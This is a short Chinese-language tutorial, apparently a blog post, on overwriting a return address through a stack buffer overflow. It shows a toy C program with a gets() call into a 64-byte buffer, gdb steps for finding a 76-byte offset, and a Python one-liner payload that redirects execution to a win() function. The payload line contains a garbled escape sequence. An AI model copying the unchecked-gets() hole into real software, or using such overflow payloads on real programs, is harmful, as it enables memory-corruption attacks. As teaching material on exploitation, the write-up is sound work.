溢出覆盖返回地址实现攻击
都知道call语句分2步
1.把返回地址放入堆栈
2.跳转到call的地址
如果这个返回地址被覆盖成我们想要执行的函数的地址结果是不是很有趣 O(∩_∩)O
思路很见到,找到我们需要的地址然后覆盖原来的返回地址就行了
下面就讲一些实现的细节
#include <stdio.h>
void win()
{
printf("Congratulations, you pwned it.\n");
}
int main(int argc,char** argv)
{
char buffer[64];
gets(buffer); // 存在缓冲区溢出
return 0;
}
就拿这个函数来说,想跳到win就需要找到win函数地址,找到buffer数组起始位置距离返回地址的长度这是main函数执行的情况。
返回地址就放在该函数执行第一句之前的esp里
<+13>这一句可以看出buffer数组的起始地址就是eax的内容,也就是esp指向的内容
动态下断,执行 查看2个寄存器的值,做差结果就是需要填入的空数据了 这里的差是16进制76
python -c "print 'A'*76+'\x'e4\x83\x04\x08"|./test 我这里就能输出了
这里有一个奇怪的问题:
分配数组的时候明明只分配了64个字节,就算加上开始时的push ebp也只有68个字节 (・∀・(・∀・(・∀・*)
看下图
这里是and 0xfffffff0 %esp这一句执行之前下的断点,执行之后8被清零了
也就是说程序为了对齐换取更快访问速度把那段空间扔了再加上8之后是不是就是76了 O(∩_∩)O
lgdb命令:
i r $esp 查看esp寄存器的值
总结:正是一些不起眼的细节改变了我们的理所当然(神经质一下 (●ˇ∀ˇ●)),不过细节真的需要注意
有错误的话欢迎提出,真诚地感谢